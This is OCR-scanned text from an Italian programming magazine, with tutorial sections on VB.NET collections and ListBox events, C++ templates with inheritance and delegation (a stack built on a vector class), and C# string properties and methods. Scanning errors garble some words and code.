Objclientefiscale = Nothing 
End Sub 

La prima istruzione controlla se l'oggetto ObjClien- 
teFiscale è stato creato, ed in caso contrario avvisa l'u- 
tente che prima di inserire i dati di un nuovo cliente si 
deve premere il tasto Nuovo e forza l'uscita dalla proce- 
dura. La procedura ValorizzaCampi dovrà assegnare i 
valori inseriti nei quattro TextBox alle proprietà del- 
l'oggetto ObjClienteFiscale. Utilizzando l'istruzione 
With .. End With vista nel precedente articolo, il codice 
sarà semplicemente: 

Private Sub ValorizzaCampi() 

With Objclientefiscale 

.CognomeQ = TextBoxCognome.Text 
.Nome = TextBoxNome.Text 



g g 




Visual Basic 

.NET 



MID 

La funzione Mid 
permette di otte- 
nere un valore di tipo 
String che contiene un 
numero precisato di 
caratteri di una strin- 
ga. La sintassi è la se- 
guente: 

Mid(StringaInEsame, 
Inizio, Lunghezza) 

StringalnEsame è un 
parametro obbligato- 
rio e rappresenta il no- 
me della variabile di ti- 
po stringa dalla quale 
devono essere restitui- 
ti i caratteri. 

Inizio è un parametro 
obbligatorio e rappre- 
senta la posizione del 
carattere in Stringaln- 
Esame dalla quale ini- 
zia la parte di stringa 
da restituire. Se Inizio 
è maggiore del numero 
di caratteri dell'argo- 
mento StringalnEsa- 
me, la funzione Mid re- 
stituirà una stringa di 
lunghezza zero (""). 
L'argomento Inizio 
parte da uno. 

Lunghezza è un para- 
metro facoltativo e 
rappresenta il numero 
di caratteri da restitui- 
re. Se il parametro 
Lunghezza viene 

omesso la funzione 
restituisce tutti i carat- 
teri della stringa a par- 
tire dalla posizione 
definita in Inizio. Lo 
stesso effetto si ottie- 
ne se il numero di 
caratteri della stringa 
in esame è minore del 
numero indicato in 
Lunghezza. 




3 ►►► 81 




.CodiceFiscale() 


= TextBoxCodiceFiscal 


e .Text 


.SpesaMensile = 


TextBoxSpesaMensile 


Text 


End With 


End Sub 



Visual Basic 

.NET 



Ereditarietà 



La classe deri- 
vata eredita dal- 
la superclasse tutte 
le proprietà ed i 
metodi dichiarati co- 
me Public o protected 
nella Superclasse. 



L'istruzione CollezioneDiClienti.Add(Objclientefiscale) in- 
serisce il cliente corrente nella collezione dei clienti del 
supermercato. 

L'istruzione è preceduta dal gestore di eccezioni 
Try. .Catch, che analizzeremo meglio in uno dei prossimi 
articoli, vi basti sapere che in questa forma cattura l'er- 
rore e passa all'istruzione successiva ad End Try nel 
caso in cui si tenta di inserire nella collezione un clien- 
te con lo stesso CodiceFiscale di un cliente già presente 
nel supermercato. Utilizzando l'istruzione Try.. Catch.. 
End Try in questa forma, si potrà usare il tasto Salva 
anche per modificare i dati di un cliente selezionato tra 
la lista dei clienti del supermercato, come vedremo in 
seguito. 

Infine la procedura VisualizzaLista dovrà visualizzare 
nel ListBox il cliente appena inserito. 

Private Sub Visualizzal_ista() 

Dim tmpdientefiscale As New ClienteFiscale() 

Dim StrCliente As String 

ListBoxClienti.Items.Clear() 

For Each tmpdientefiscale In CollezioneDiClienti.Elements 
With tmpdientefiscale 

StrCliente=.CodiceFiscale+" " + .Nome+" " + . Cognome 
StrCliente = StrCliente + " " + CStr(. SpesaMensile) 

ListBoxClienti.Items.Add(StrCliente) 

End With 

Next 

End Sub 

Sono state dichiarate due variabili locali: tmpclientefi- 
scale permetterà di ciclare tra tutti i clienti del super- 
mercato, referenziando volta per volta un oggetto 
ClienteFiscale diverso; StrCliente permetterà di co- 
struire la stringa riassuntiva che dovrà essere mostra- 
ta nel ListBox. L'istruzione ListBoxClienti.Items .ClearO 
svuota il ListBox. Tramite l'istruzione For Each. . . Next 
si cicla su ogni cliente della collezione, si costruisce la 
stringa da visualizzare e si aggiunge la stringa nel 
ListBox, tramite la proprietà Add dell'insieme Items. 
Questa procedura può essere resa più performante 
poiché, come potete facilmente notare, ogni volta che 
l'utente preme il tasto Salva per inserire un nuovo 
cliente, la lista viene prima svuotata e poi riempita 
ciclando su tutti i clienti della collezione. Lascio a voi 
il compito di scrivere una procedura che aggiunga o 
modifichi i dati di un cliente visualizzandoli senza 
dover ciclare su tutti i clienti della collezione. 
L'ultima funzionalità che ci resta da implementare è 
quella di modificare i dati di un cliente presente nella 
lista (cliccando due volte sul listbox). Per ottenere 
questo scopo, l'utente dovrà selezionare dalla lista il 
cliente da modificare, modificare eventualmente i 
suoi dati e premere il tasto Salva per visualizzare i 



nuovi dati nella lista. 

Nell'evento DonbleClick del ListBox scriviamo: 

Private Sub ListBoxClientLDoubleClick(ByVal sender 

As Object, ByVal e As 

System. EventArgs) Handles ListBoxClienti.DoubleClick 
Dim CodiceFiscaleSel As String 
' Verifica che sìa stato selezionato un cliente. 
If ListBoxClientì.Selectedltem <> "" Then 

' I primi sedici caratteri rappresentano il codice fiscale. 
CodiceFiscaleSel=Mid(ListBoxClienti.SelectedItem, 1, 16) 
Objclientefiscale=CollezioneDiClienti(CodiceFiscaleSel) 
VisualizzaDati() 

End If 

End Sub 

Tramite la proprietà Selectedltem del ListBox, possia- 
mo accedere all'elemento selezionato, per questo se 
l'elemento selezionato è diverso dalla stringa vuota si 
può procedere con l'esecuzione del codice in caso 
contrario la procedura termina senza nessun effetto. 
Tramite la funzione Mid viene valorizzata la variabile 
CodiceFiscaleSel con i primi sedici caratteri della strin- 
ga selezionata nel ListBox che rappresentano il codi- 
ce fiscale. L'istruzione CollezioneDiClienti(CodiceFisca- 
leSel) può essere usata al posto dell'istruzione Colle- 
zioneDiClienti.Item(CodiceFiscaleSel) poiché il metodo 
Item è stato definito come metodo di default, e resti- 
tuisce il riferimento all'oggetto contenuto nella colle- 
zione con chiave pari alla stringa CodiceFiscaleSel. In- 
fine la procedura VisualizzaDati deve visualizzare nei 
TextBox corrispondenti, i dati del cliente selezionato: 

Private Sub VisualizzaDati() 
With Objclientefiscale 
TextBoxCognome.Text = .Cognome() 
TextBoxNome.Text = .Nome 
TextBoxCodiceFiscale.Text = .CodiceFiscale() 
TextBoxSpesaMensile.Text = .SpesaMensile 

End With 

End Sub 

Lascio a voi il compito di scrivere il codice associato 
al tasto Cancella per cancellare un elemento dalla col- 
lezione e dal ListBox, confrontatelo poi con il codice 
riportato nel box a lato. 



CONCLUSIONI 

Questo articolo conclude il nostro itinerario all'inter- 
no del mondo della programmazione ad oggetti. Se vi 
piace un software ben progettato, sarete certamente 
d'accordo che la programmazione ad oggetti è una 
tecnologia attraente. 

Nei prossimi articoli utilizzeremo spesso i concetti e 
la terminologia usata in questa serie, poiché tutti i 
controlli in VB.Net sono degli oggetti, e molti di essi 
presentano al loro interno una collezione di oggetti. 

Ing. Luigi Buono 



82 ►►► M a g g 



2 3 



http: //www. itport al.it 



Template 

ED EREDITARIETÀ 

Nella scorsa puntata abbiamo visto cosa sono i template 
e quali sono le linee guida per scrivere codice usandoli. 
In questo articolo analizzeremo il comportamento 
di questi costrutti in presenza di classi base e classi 
derivate, cercando di capire in dettaglio quali sono 
le possibilità offerte dall'ereditarietà in queste situazioni 




Come abbiamo visto nel precedente articolo, l'uti- 
lizzo dei template può velocizzare in maniera 
drastica lo sviluppo di applicazioni, tramite l'u- 
so di codice altamente riutilizzabile. Con i template è 
infatti possibile creare delle classi "stampo" che fungano 
da modello generico, per poter successivamente istan- 
ziare delle classi specifiche. Abbiamo ad esempio visto 
come una classe Pila, codificata tramite template, possa 
facilmente essere utilizzata per contenere sia variabili 
dei tipi predefiniti (char, int ecc.), sia oggetti di classi 
progettate da noi. Questo ovviamente costituisce uno 
degli aspetti più potenti che il C++ mette a disposizio- 
ne del programmatore. Abbiamo inoltre visto come 
un'altro dei "potenti mezzi" di questo linguaggio sia l'e- 
reditarietà, ovvero la possibilità di creare nuove classi 
partendo da classi già esistenti, per ottenere sostanzial- 
mente due risultati alternativi: 

• specializzare il funzionamento di una classe a parti- 
re da alcune caratteristiche di base (ad es: la crea- 
zione della classe Fuoristrada a partire dalla classe 
Automobile); 

• estendere il comportamento di una classe, facendo- 
la derivare da più di una classe base (ereditarietà 
multipla). 

E facile capire come una combinazione di ereditarietà e 
uso di template possa portare a un giovamento genera- 
le durante la fase di programmazione. La domanda che 
ci poniamo è quindi: "Cosa succede quando cerchiamo 
di derivare una classe da una classe base, costruita me- 
diante template?". La risposta è più articolata di quanto 
si possa pensare, poiché esistono diversi tipi di combi- 
nazioni possibili. In particolare ci soffermeremo sui se- 
guenti tre: 

1. la classe base è un template, mentre la derivata co- 
stituisce una particolare istanza che utilizza un tipo 



specifico; 

2. la classe base non è un template, mentre la derivata 
risulta assente; 

3. sia la classe base che la classe derivata fanno uso dei 
template e quindi questo si mantiene nella deriva- 
zione, rendendo il generico tipo T, utilizzabile con 
oggetti di entrambe le classi. 

Analizziamo dunque, nello specifico, i tre tipi di deri- 
vazione con template. 

CASO 1: BASE TEMPLATE, 
DERIVATA SEMPLICE 

Questo è un tipico esempio di utilizzo dell'ereditarietà 
per "specializzazione", ovvero per restringere le possi- 
bilità di una classe a uno specifico campo. Una classe 
derivata di questo tipo si costruisce seguendo questa 
struttura: 

//Definizione della classe base 
template <class T> 
class Base { 

//dichiarazioni di campi e funzioni 

//con uso del tipo generico T }; 
//Definizione della classe derivata 
class Derivata : public Base<char> { 

//dichiarazioni di campi e funzioni 

//specifici al tipo char 

}; 

Come si può vedere l'uso del tipo generico T si ha sol- 
tanto nella classe Base, mentre la classe Derivata altro 
non è che una particolare istanza di Base, costruita rife- 
rendosi al tipo predefinito char. Così com'è, la definizio- 
ne di Derivata potrebbe sembrare alquanto mutile, visto 
che è sempre possibile definire, direttamente nel codice, 
una variabile del tipo: 



File sul CD 



soft\codice\CorsoC++.zip 



File sul WEB 

www.itportal.it 
/iopr69/CorsoC++.zip 



Ereditarietà 



L'ereditarietà è 
il meccanismo 
che consente di crea- 
re una classificazione 
gerarchica di oggetti. 
Le proprietà di un og- 
getto padre possono 
essere ereditate da 
un oggetto figlio, evi- 
tando la definizione 
ex-novo di quest'ulti- 
mo. Senza l'eredita- 
rietà, ogni oggetto 
dovrebbe essere defi- 
nito a parte, aumen- 
tando la complessità 
e i tempi necessari 
per la stesura del 
programma. L'eredi- 
tarietà svolge un ruo- 
lo fondamentale nel 
polimorfismo per in- 
clusione. 



http: //www. itportal.it 



M 



g g 



3 ►►► 83 



B 




Ereditarietà 
Multipla 



Una classe può 
derivare da una 
classe derivata a sua 
volta da un'altra, e 
tale processo si può 
ripetere a piacimen- 
to. Una classe deri- 
vata può accedere 
alla stessa maniera 
a tutti gli attributi ed 
i metodi che appar- 
tengono a tutte le 
classi che la prece- 
dono sulla linea di 
discendenza, e che 
esse mettono a di- 
sposizione. Se una 
classe deriva da più 
classi, essa eredita 
tutti i metodi e tutti 
gli attributi di ogni 
classe di origine. Si 
parla in questo caso 
di ereditarietà multi- 
pla. Ogni metodo 
della nostra classe 
potrà accedere a 
ogni attributo che 
ciascuna delle clas- 
si-padre renderanno 
disponibile per i di- 
scendenti. Ogni me- 
todo della nostra 
classe potrà utilizza- 
re ogni metodo che 
ciascuna delle sue 
classi-padre rende- 
ranno disponibile 
per i discendenti. 



Base<char> nome_variabile(); 

che risulterebbe del tutto equivalente a: 

Derivata nome_variabile(); 

tuttavia questo cessa di essere vero quando (come è nel 
caso auspicabile) nella classe Derivata vengono definite 
delle funzioni specifiche al tipo che si è scelto di utiliz- 
zare. Ad esempio Derivata potrebbe contenere una fun- 
zione membro, che effettua una verifica sui dati di tipo 
char che essa manipola, simile a: 

bool Derivata: :isLetteraMaiuscola(char e) { //... } 

ovviamente una funzione del genere non avrebbe sen- 
so nella classe Base poiché, come è ovvio capire, essa 
non sarebbe applicabile per tutti i tipi possibili che si 
possono sostituire al tipo generico T. Pensiamo soltanto 
a cosa potrebbe significare la seguente: 

bool Base: :isLetteraMaiuscola(T t) { 
//e se t è di tipo int??? } 

In definitiva l'uso di questo tipo di derivazione è utile 
in tutti quei casi in cui si ha bisogno di funzioni specia- 
lizzate, da applicare a una classe dalla struttura già ben 
delineata. 

CASO 2: BASE SEMPLICE, 
DERIVATA TEMPLATE 

In questo caso la classe base è di tipo semplice, non fa 
cioè uso del tipo generico T, mentre la derivata aggiun- 
ge questa caratteristica. Si ha la seguente struttura del 
codice: 




In questo caso si è fornita la classe derivata delle opera- 
zioni fondamentali di scrittura e lettura da disco e di co- 
municazione su rete, indipendentemente da quale sarà 
il contenuto dell'oggetto Insieme che istanzieremo (char, 
int, Scheda ecc). 

CASO 3: SIA BASE CHE 
DERIVATA SONO TEMPLATE 

In questa situazione la parametricità, rispetto al tipo ge- 
nerico T, si trasmette dalla classe base a quella derivata. 
Possiamo pensare a questa situazione come al caso del- 
la normale derivazione senza template, in cui però la 
derivazione stessa viene fatta per ogni possibile tipo 
utilizzabile al posto di T. Se vogliamo, è il caso concet- 
tualmente più semplice da capire, in quanto del tutto 
analogo al caso della derivazione semplice e del tutto 
intuitivo per chi sa cosa sono ereditarietà e template, 
ma non come si usano insieme. Lo schema del codice in 
questo caso è il seguente: 




Come si vede la situazione è speculare al caso prece- 
dente e non presenta particolari difficoltà dal punto di 
vista della comprensione di ciò che accade. Questo tipo 
di derivazione è spesso utilizzato quando si vuole for- 
nire la classe derivata di specifiche funzionalità presen- 
ti nella classe base. Questo vuol dire che una cosa del 
genere ha senso (oltre a essere molto utile) nei casi in cui 
si sfrutta l'ereditarietà multipla. Quello che si fa, cioè, è 
costruire una classe derivata tramite template, cha ha 
diverse caratteristiche basilari, descritte magari in una 
serie di mini-classi base di tipo semplice. Questo rende 
il codice ad alta riutilizzabilità della classe derivata, di 
qualità ancora maggiore. Per fare un esempio si può 
pensare alla seguente situazione: 



Come si vede la genericità del template in Base viene 
"ereditata" da Derivata, rendendo quest'ultima parame- 
trica, esattamente allo stesso modo della prima. I più ar- 
guti avranno anche capito quale è il "trucco" che sta die- 
tro questo meccanismo. La cosa che si fa, infatti, non è 
utilizzare Base nella sua forma generica, ma semplice- 
mente usarla come se fosse istanziata normalmente con 
un tipo accettabile, tranne per il fatto che questo tipo è 
a sua volta un tipo definito con template. Base è quindi 
istanziata con un tipo ben preciso: quello generico! Si 
può dire che questo caso è quello più frequente nell'at- 
tività di programmazione, per questo gli dedicheremo 
un esempio un po' più corposo nei prossimi paragrafi. 



84 ► ► ► M a g g 



3 



http:// www. itportal.it 



DELEGATION 

Quando si crea una nuova classe D, si hanno di fronte 
due strade (il classico bivio): scriverla da zero, oppure 
scriverla riusando codice. Seguire la strada del riutiliz- 
zo è di solito la scelta migliore. Uno dei procedimenti 
seguiti più spesso è quello di usare una classe B già 
scritta, per rappresentare i valori della nuova classe D 
che si sta scrivendo: si usa cioè la classe B come sup- 
porto per la rappresentazione della classe D. Ad esem- 
pio, volendo scrivere una classe Catalogo, si potrebbe 
riusare la classe Insieme vista la scorsa puntata, con ov- 
vi risparmi di tempo. Il meccanismo mediante il quale 
si rappresentano i valori della classe D mediante la clas- 
se B può essere implementato in due modi: 

• composizione: si definisce una campo (non pubbli- 
co) di tipo B, nella classe D: la classe D potrà usare 
questo campo solo mediante le funzioni di interfac- 
cia della classe B; ad es. nella classe Catalogo po- 
tremmo avere un campo elenco Jìbri di tipo Insie- 
me<Libro>; 

• delegation: si definisce la classe D come derivata da 
B: in questo caso, i campi che riguardano la rappre- 
sentazione sono parte della classe D, che può acce- 
dervi direttamente; un oggetto della classe D è an- 
che (conseguenza diretta della relazione di eredita- 
rietà) un oggetto della classe B. 

Relativamente alla delegation una cosa è importante: 
deve aversi necessariamente una derivazione di tipo 
protected o private. Infatti, non si vuole che dall'esterno si 
possa accedere a dei metodi della classe che non fanno 
parte delle funzionalità offerte da essa (in questi casi 
classe base e derivata possono anche essere concettual- 
mente molto diverse), snaturandone il comportamento, 
che è sempre una cosa "pericolosa". Soprattutto, però, 
in questo caso la derivazione è stata usata per modella- 
re la struttura interna della classe derivata, sul modello 
della classe base: come vuole il paradigma della OOP, la 
struttura interna di una classe deve essere invisibile 
dall'esterno. 



PIOVE 

La volta scorsa abbiamo visto un nuovo tipo, definito 
da noi: il tipo Pila. Adesso che sappiamo che esiste la 
delegation, siamo bramosi di provarla e verificarne l'ef- 
fettiva convenienza: niente di meglio che un confronto 
diretto. Iniziamo da una ipotesi essenziale: abbiamo a 
disposizione una classe già pronta, la classe Vettore. Di 
tale classe potrete trovare il codice nel CD allegato, tut- 
tavia per i nostri scopi basta conoscerne l'interfaccia: 




Vettore& operator=(const Vettore&); 
bool operator= = (const Vettore&); 
int NumElementiQ; 
T& operator[](int); 
protected: 
int dimensione; 
T* vett; }; 

Si noti che nell'interfaccia di questa classe è stato ridefi- 
nito l'operatore "[]": in questo modo si può usare un og- 
getto di tipo Vettore con una sintassi simile a quella de- 
gli array, diversa solo per come si dichiara un oggetto 
Vettore: 

Vettore<char> v(10); //dichiarazione: diversa 

//da quella di un array! 

v[7] = 'H'; //uso come un array 

Usando questa nuova classe (il caso vuole che non l'ab- 
biamo scritta noi, ma ci è piovuta dal cielo: in realtà 
questa è una situazione tipica), proviamo a reimple- 
mentare la classe Pila<Elem>. Prima di andare avanti 
però, rendiamoci effettivamente conto del perché la de- 
rivazione dovrà essere necessariamente di tipo protected 
o private, come anticipato al termine del paragrafo pre- 
cedente. Se la derivazione fosse di tipo public, potrem- 
mo fare cose del tipo: 

Pila<int> p(10); 

P[5] = 5; 

Pur essendo corretto a livello sintattico (cioè dal punto 
di vista del linguaggio), è tuttavia un modo di procede- 
re che fa perdere di vista il significato del tipo Pila (che 
usata così sembra a tutti gli effetti un Vettore), è cioè un 
errore semantico (relativo al significato). Imponendo la 
non visibilità dall'esterno dei metodi della classe Vetto- 
re, una operazione come quella appena vista non sarà 
più possibile, e si dovrà usare per forza la funzione di 
interfaccia fornita da noi (in questo caso, la funzione 
PushQ). Si noti che quello che apparentemente sembra 
un errore veniale, in realtà potrebbe essere catastrofico: 
basti pensare ad un ipotetica classe in cui si faccia uso 
del tipo Pila, e non si usi la funzione PushQ per l'inseri- 
mento dei valori al suo interno; se si cambia l'imple- 
mentazione del tipo Pila, chi ci assicura che nella nuova 
implementazione sia stato fornito l'operatore "[] "? E se 
lo avessimo usato dappertutto, per migliaia di volte? 
Come aggravante, ricordiamo che il tipo Pila è un tipo 
tradizionalmente usato neirinformatica: non è uno 
standard, ma una convenzione, che è un vincolo, forse, 
ancora più forte. 

UNA PILA 

CON LA DELEGATION 

Ricordiamo che in una Pila si ha una gestione degli ele- 
menti di tipo "Last In First Out" (LIFO), e che ci sono al- 
cune funzioni che hanno dei comportamenti particola- 




Problemi 
di ambiguità 



Esiste un proble- 
ma di ambiguità 
legato all'ereditarietà 
multipla. Se più classi 
padre definiscono lo 
stesso attributo, la 
classe derivata avrà 
al suo interno più co- 
pie dello stesso attri- 
buto (in realtà più at- 
tributi con lo stesso 
nome). I metodi delle 
classi-padre (o super- 
classi) sapranno qua- 
le attributo utilizzare, 
ma occorrerà creare 
una notazione parti- 
colare per consentire 
ai metodi della classe 
derivata di accedere 
all'attributo che vo- 
gliono. Anche per i 
metodi ereditati si 
può verificare la stes- 
sa situazione. In que- 
sto caso il problema si 
presenta ancora più 
grave in quanto i me- 
todi possono venire 
invocati anche dall'e- 
sterno dell'oggetto, e 
all'esterno non do- 
vrebbe trasparire nul- 
la della struttura, e 
quindi non si dovreb- 
bero conoscere i par- 
ticolari sull'eredita- 
rietà. 



http ://www.itport al.it 



M 



g g 



3 ►►► 85 




Vari tipi di 
polimorfismo 



Esistono due tipi 
fondamentali di 
polimorfismo: quello 
ad-hoc e quello uni- 
versale. Il primo assu- 
me significato in am- 
biti abbastanza ri- 
stretti, basandosi sul- 
l'overloading degli 
operatori, o delle fun- 
zioni, e sulla coercion. 
Per overloading si in- 
tende il il processo nel 
quale due funzioni (o 
operatori) condivido- 
no lo stesso nome ma 
sono in grado di ope- 
rare su dati diversi. La 
coercion, invece, con- 
siste nella forzatura di 
un operatore ad usare 
tipi diversi da quelli 
per cui è stato conce- 
pito. Per quanto con- 
cerne il polimorfismo 
universale, è possibile 
distinguere il polimor- 
fismo parametrico, ti- 
pico della programma- 
zione generica (uso di 
template) da quello 
per inclusione, tipico 
della programmazione 
object-oriented. 

Contatta 
gli autori! 

Se hai suggeri- 
menti, critiche, 
dubbi o perplessità 
sugli argomenti trat- 
tati e vuoi proporle 
agli autori puoi scri- 
vere agli indirizzi: 

Alfredo 

alfredo.marroccelli 
gilibero.it 



Marco 

marcodelgobboló) 
libero.it 

Questo contribuirà 
sicuramente a mi- 
gliorare il lavoro di 
stesura delle prossi- 
me puntate. 



ri: Push(), che inserisce un nuovo elemento nella Pila, e 
PopQ, che restituisce l'elemento affiorante della Pila. Si 
pensi ad essa come ad una pila di piatti, in cui il push è 
l'inserimento sopra la pila corrente di un nuovo piatto, 
mentre il pop è il prelievo del piatto che è sopra tutti gli 
altri. Usando il meccanismo della delegation, si deve far 
derivare in maniera non pubblica la classe Pila dalla 
classe Vettore: 

template <class T> 

class Pila: private Vettore<T> 

{ ... }; 

Avendo scelto la derivazione privata, i campi di Vettore 
(che erano protected e public) adesso sono private in Pila. 
Tuttavia questi campi ci sono (ad es. ci saranno le due 
proprietà vett e dimensione che erano presenti in Vetto- 
re): la situazione è un po' particolare, in quanto è come 
se stessimo dicendo che un oggetto di tipo Pila dall'e- 
sterno si comporta come una Pila, ma in realtà all'inter- 
no funziona come un Vettore (ma questo aspetto relati- 
vo all'implementazione non è visibile, come è giusto, al- 
l'esterno). La differenza rispetto al caso della composi- 
zione è netta: nella composizione, infatti, Pila avrebbe 
avuto un campo non pubblico di tipo Vettore, cui si sa- 
rebbe potuto accedere solo attraverso i metodi di inter- 
faccia della classe Vettore. Nella delegation, Pila è un 
Vettore gestito mediante la politica LIFO (mediante le 
funzioni di interfaccia PushQ e PopO). Scegliendo la de- 
legation, una possibile implementazione per l'interfac- 
cia della classe Pila potrebbe essere la seguente: 

template <class T> 
class Pila: private Vettore<T> { 
public: 

Pila(int); 

void Push(T); 

T PopQ; 

int QuantiElementi(); 
int Dimensione(); 
private: 

int top; //ci dice quanto e' 

//pieno il vettore }; 



Come si vede, la parte public (cioè l'interfaccia) non è 
cambiata rispetto alla versione vista nella puntata pre- 
cedente: questa è certamente una buona cosa, in quan- 
to non ci costringe a riscrivere altri codici che hanno fat- 
to uso, nel frattempo, della nostra classe Pila. 
Il codice che definisce i metodi della classe potrebbe ad 
esempio essere il seguente: 



//costruttore 


template <class T> 


Pila<T>::Pila(int n):Vettore<T>(n) 


{ top = -1;} 


template <class T> 


void Pila<T>::Push(T 


el){ 


if(top= = dimensione- 


1) { 



//non ci sono più' posizioni libere: 
//dobbiamo ingrandire il vettore! 
T* aux = new T[dimensione*2]; 
for(int i=0;i<=top;i+ + ) 

aux[i] = vett[i]; 
delete[] vett; 
vett = aux; 

dimensione = 2*dimensione; } 
//siamo sicuri di avere spazio... 
top+ + ; 

vett[top] = el;} 

template <class T> 

T Pila<T>::Pop() { 

if (top >= 0) 

return vett[top--]; 
else 

return T(); } 
template <class T> 
int Pila<T>::QuantiElementi() 
{ return top+1;} 
template <class T> 
int Pila<T>::Dimensione() 
{ return dimensione;} 

Ai più attenti, non deve essere sfuggita una sottile dif- 
ferenza tra la nuova classe Pila e quella vista la volta 
scorsa: il distruttore non ha necessità di essere ridefini- 
to (da notare che non è stato ridefinito, ma esiste sem- 
pre). Il motivo è semplice: la classe Pila non ha parti di- 
namiche, oltre quelle definite in Vettore, e quando un 
oggetto Pila è distrutto, alla fine del processo di deallo- 
cazione viene chiamato il distruttore della classe base 
(ricordate quanto detto nella puntata scorsa?), che si oc- 
cupa di deallocare tutti i membri relativi alla classe Vet- 
tore, che sono gli unici in cui si ha memoria dinamica al- 
locata. Come traccia di miglioramento, si può sollevare 
un problema interessante per i lettori volenterosi. Sup- 
poniamo di dichiarare una Pila di 10 elementi; appena 
ci apprestiamo ad inserire l'undicesimo elemento, la 
funzione Push raddoppia la dimensione della Pila por- 
tandola a 20. Se ad esempio adesso iniziamo a svuotare 
la Pila mediante una serie di Pop, essa rimane comun- 
que di dimensione 20. Come si può ottimizzare la ge- 
stione della memoria, al fine di evitare sprechi di spazio 
dovuti ad eccesso di posizioni vuote? 

CONCLUSIONI 

Abbiamo analizzato molti aspetti relativi ad eredita- 
rietà e template, ma questo non vuol dire che non ci sia 
più nulla da scoprire. Da adesso in poi, i lettori dovran- 
no iniziare ad esercitarsi su questi argomenti che, seb- 
bene non molto complessi una volta capiti, hanno na- 
scoste delle insidie che solo la pratica può imparare a 
domare. Dalla prossima lezione vedremo come dotare i 
nostri programmi di migliori funzionalità relativamen- 
te ad input ed output. Buon lavoro! 

Alfredo Marroccelli 
Marco Del Gobbo 



86>-**- M a 



9 9 



3 



http:// www. itportal.it 



•*-*-*-*<<<<<<-*Cors 



B a s 



Stringhe 

E ARRAY, UN'ANALISI DETTAGLIATA 

Le stringhe e gli array sono due categorie di oggetti sulle 
quali, in precedenza, non ci siamo soffermati troppo. 
Ora che i concetti più importanti della programmazione 
orientata agli oggetti fanno parte del nostro bagaglio 
culturale informatico, siamo finalmente pronti all'analisi 
completa di questi importanti strumenti. 




Dopo aver acquisito praticità con i concetti più 
basilari della programmazione orientata agli 
oggetti con C#, siamo in grado di fare un pic- 
colo passo indietro, per esaminare strutture dati ed og- 
getti che finora non avremmo avuto modo di com- 
prendere a pieno. 



STRINGHE 

Oramai, sappiamo utilizzare le stringhe con totale di- 
sinvoltura, almeno ad un livello elementare. Tuttavia, 
ancora non abbiamo esaminato le loro caratteristiche 
più vicine alla programmazione orientata agli oggetti. 
Le stringhe, infatti, sono oggetti. Il tipo string di C# 
corrisponde alla classe System.String del framework 
di .NET. Naturalmente, questa classe espone un'inter- 
faccia pubblica, che ci permette la manipolazione del- 
le stringhe. 

LA PROPRIETÀ' LENGTH 
DELLE STRINGHE 

La proprietà Lenght riporta il numero dei caratteri con- 
tenuti in una stringa. Mostriamo immediatamente un 
esempio: 

class EsempioOl { 

public static void Main() { 
string si = "Carlo"; 
string s2 = "Gino"; 
string s3 = "Emanuele"; 
System. Console. Writel_ine( 

"Il nome " + si + " contiene " + 

sl.Length + " caratteri"); 
System. Console. Writel_ine( 

"Il nome " + s2 + " contiene " + 

s2.Length + " caratteri"); 
System. Console. Writel_ine( 



"Il nome " + s3 + " contiene 
s3.Length + " caratteri"); 



L'output è evidente: 

Il nome Carlo contiene 5 caratteri 
Il nome Gino contiene 4 caratteri 
Il nome Emanuele contiene 8 caratteri 

INDICIZZARE I CARATTERI 
DI UNA STRINGA 

Con le stringhe, ci avventuriamo per la prima volta nel 
terreno degli indicizzatori, che successivamente tratte- 
remo dettagliatamente. In sostanza, possiamo leggere, 
uno ad uno, i caratteri che fanno parte di una stringa. 
Ogni carattere ha un indice. Il primo carattere ha indi- 
ce (zero), il secondo 1, il terzo 2 e così via, fino ad ar- 
rivare all'ultimo carattere della stringa, che ha indice 
Length - 1. Gli indicizzatori si usano mediante una cop- 
pia di parentesi quadre, comportamento che ritrovere- 
mo, tra poco, anche negli array. In pratica: 

nomeStringa[n] 

restituisce il carattere che nella stringa è alla posizione 
n. Naturalmente, n dovrà spaziare tra e Length - 1, 
estremi inclusi. 
Analizziamo un esempio: 



& 



File sul CD 



\soft\codice\csharpl4.zip 




File sul Web 

www.itportal.it/iop69 

/ csharpl4.zip 



http: //www. itport al.it 



9 9 



3 ►►► 87 




System. Console. WriteLine( 

"Carattere alla posizione " + i + 



+ s[i]); 



L'output è: 

Carattere alla 
Carattere alla 
Carattere alla 
Carattere alla 
Carattere alla 
Carattere alla 
Carattere alla 
Carattere alla 
Carattere alla 
Carattere alla 



posizione 0: B 
posizione 1: u 
posizione 2: o 
posizione 3: n 
posizione 4: g 
posizione 5: i 
posizione 6: o 
posizione 7: r 
posizione 8: n 
posizione 9: o 



PRINCIPALI METODI 
DI STRING 

Passiamo ai metodi offerti da string. I principali sono 
elencati di seguito: 



int count) 
public int LastIndexOf(char e) 
public int LastIndexOf(char e, int start) 
public int LastIndexOf(char e, int start, 

int count) 
Simili ai metodi della famiglia IndexOfO. In questo 
caso, però, la ricerca è eseguita in direzione inver- 
sa, da destra verso sinistra, a partire dall'ultimo ca- 
rattere della stringa (o dalla posizione start, nei ca- 
si che prevedono tale argomento). 

• public string Remove(int start, int count) 

Restituisce una nuova stringa, ottenuta da quella 
di invocazione eliminando count caratteri a partire 
dalla posizione start. 

• public string Replace(string si, string s2) 

Restituisce una nuova stringa, ottenuta dall'ogget- 
to di invocazione sostituendo tutte le occorrenze di 
si con s2. 

• public string Replace(char ci, char c2) 

Restituisce una nuova stringa, ottenuta dall'ogget- 
to di invocazione sostituendo tutte le occorrenze di 
ci con c2. 



Dispense 
Web 



Bi: 



I Tra le dispense 
1 Web del corso 
troverete appunti, ag- 
giunte, approfondi- 
menti, risposte a do- 
mande frequenti e al- 
tre appendici legate 
alla lezione odierna. 
L'indirizzo di riferi- 
mento è 

http : //www. sauron - 
software.it 
/dispenseweb/esharp/ 



• public bool EndsWith(string s) 

Restituisce true se l'oggetto di invocazione termi- 
na con la sottostringa s. 

• public int IndexOf(string s) 

Ricerca la sottostringa s all'interno dell'oggetto di 
invocazione. Se s viene individuata, è restituita la 
sua posizione. In caso contrario, viene restituito 
valore -1. 

• public int IndexOf(string s, int start) 

Come il precedente, con l'unica differenza che la 
ricerca comincia a partire dalla posizione start. 

• public int IndexOf( string s, int start, int count) 

Come i precedenti due. In questo caso, però, la ri- 
cerca parte dalla posizione start e abbraccia sola- 
mente count caratteri. 



public bool StartsWith(string s) 

Restituisce true se l'oggetto di invocazione inizia 
con la sottostringa s. 

public string Substring(int start) 

Restituisce una sottostringa dell'oggetto di invoca- 
zione, ottenuta considerando tutti i caratteri com- 
presi dalla posizione start (inclusa) in poi. 

public string Substring(int start, int length) 

